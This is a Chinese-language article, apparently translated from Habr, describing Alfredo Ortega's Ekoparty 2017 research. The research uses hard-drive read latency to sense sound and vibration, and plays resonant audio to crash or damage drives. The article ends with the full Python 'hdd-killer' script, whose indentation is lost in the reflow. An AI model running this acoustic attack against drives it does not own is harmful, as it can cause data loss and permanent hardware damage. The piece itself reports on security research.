
在布宜諾斯艾利斯舉行的 Ekoparty 2017 電腦安全會議上,阿根廷駭客 Alfredo Ortega 展示了一項非常有趣的開發成果——一種無需使用麥克風即可秘密竊聽場所的系統。 聲音 !
HDD主要拾取高強度低頻聲音、腳步聲和其他振動。 儘管科學家還無法辨識人類的語音 (透過低頻振動進行語音識別,例如從陀螺儀或 HDD 錄製的聲音)。
聲音是空氣或其他介質的振動。 人類透過耳膜感知它們,耳膜將振動傳遞到內耳。 麥克風的設計大致類似於耳朵——這裡的振動也由薄膜記錄,從而激發電脈衝。 當然,硬碟也會因周圍空氣的波動而受到微小振動的影響。 這甚至從硬碟的技術特性就可以知道:製造商通常會註明最大允許振動級別,而硬碟本身通常會嘗試將其放置在由橡膠或其他絕緣材料製成的防振容器中。 由此很容易得出結論,可以使用 HDD 來錄製聲音。 剩下的就是弄清楚如何做。
Alfredo Ortega 提出了一種獨特版本的旁路攻擊,即時間攻擊。 這種攻擊基於這樣的假設:根據給定的輸入數據,在不同時間對設備執行不同的操作。 在這種情況下,「輸入資料」是讀取頭和硬碟片的振動,它與環境的振動(即聲音)相關。 因此,透過測量計算時間並對數據進行統計分析,可以測量磁頭/盤片的振動,從而測量介質的振動。 讀取資料的延遲越長,硬碟振動越強,因此聲音越大。
如何測量硬碟振動? 很簡單:只需運行系統調用 read () - 並記錄完成所需的時間。 現代作業系統允許您以奈秒精度讀取系統調用的時間。
從磁區讀取資訊的速度取決於磁頭和碟片的位置,這與 HDD 外殼的振動有關。 就這樣。
使用簡單的 Kscope 實用程式進行統計分析。 正如他們所說,一切巧妙的事情都很簡單。

Kscope 實用程式(stat() 系統呼叫)
Kscope 是一個小實用程序,用於視覺化系統呼叫執行時間的微小差異。 來源.
在單獨的儲存庫中 有一個版本的實用程式配置為對硬碟進行時間攻擊,即配置為分析系統調用 read ().
使用HDD錄音的示範、Kscope實用程式的操作

當然,無法透過這種方式理解語音,但是HDD非常適合作為振動感測器。 例如,如果一個人穿著硬鞋或赤腳進入有計算機的房間,您可以記錄(可能,如果攻擊者穿著軟運動鞋或地板上有厚地毯,硬碟將無法記錄振動 -這值得檢查)。 電腦能夠記錄玻璃破碎或其他聲音強度較大的事件。 也就是說,硬碟可以充當一種未經授權的入侵偵測系統。
硬碟殺手
順便一提,類似的技術也可以用來停用硬碟。不過,這裡我們不是捕捉硬碟的振動,而是人為製造振動並將其傳遞給硬碟。如果你用揚聲器播放一個頻率與硬碟頻率共振的音頻,系統很快就會因為 I/O 錯誤(核心錯誤)而關閉硬碟。 Linux (這將在 120 秒後完全關閉硬碟。)硬碟本身可能會受到不可逆轉的損壞。

核心 Linux 硬碟在透過 Edifier r19u USB 音箱播放共振頻率的聲音 120 秒後停止運作。音箱以大約四分之一的功率(不到 100 毫瓦)開啟,放置在距離硬碟 20 公分處,並指向桌面以放大振動。 硬碟殺手的演示
奇怪的是,這種對硬碟的「攻擊」有時在日常生活中完全是偶然發生的。 例如,2016年10月,ING銀行資料中心在消防演習後被迫暫停營運XNUMX小時。 由於惰性氣體在高壓下從鋼瓶中釋放出來的巨大聲音。 聲音很大(超過130分貝),但你甚至不能對著硬碟大喊大叫——這會增加存取硬碟的延遲。
人類對資料中心硬碟尖叫的示範。 延遲測量

為了產生共鳴聲音,Alfredo Ortega 編寫了一個名為的 Python 腳本 ().
它很小,所以你可以在這裡完整發布。
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()來源: www.habr.com
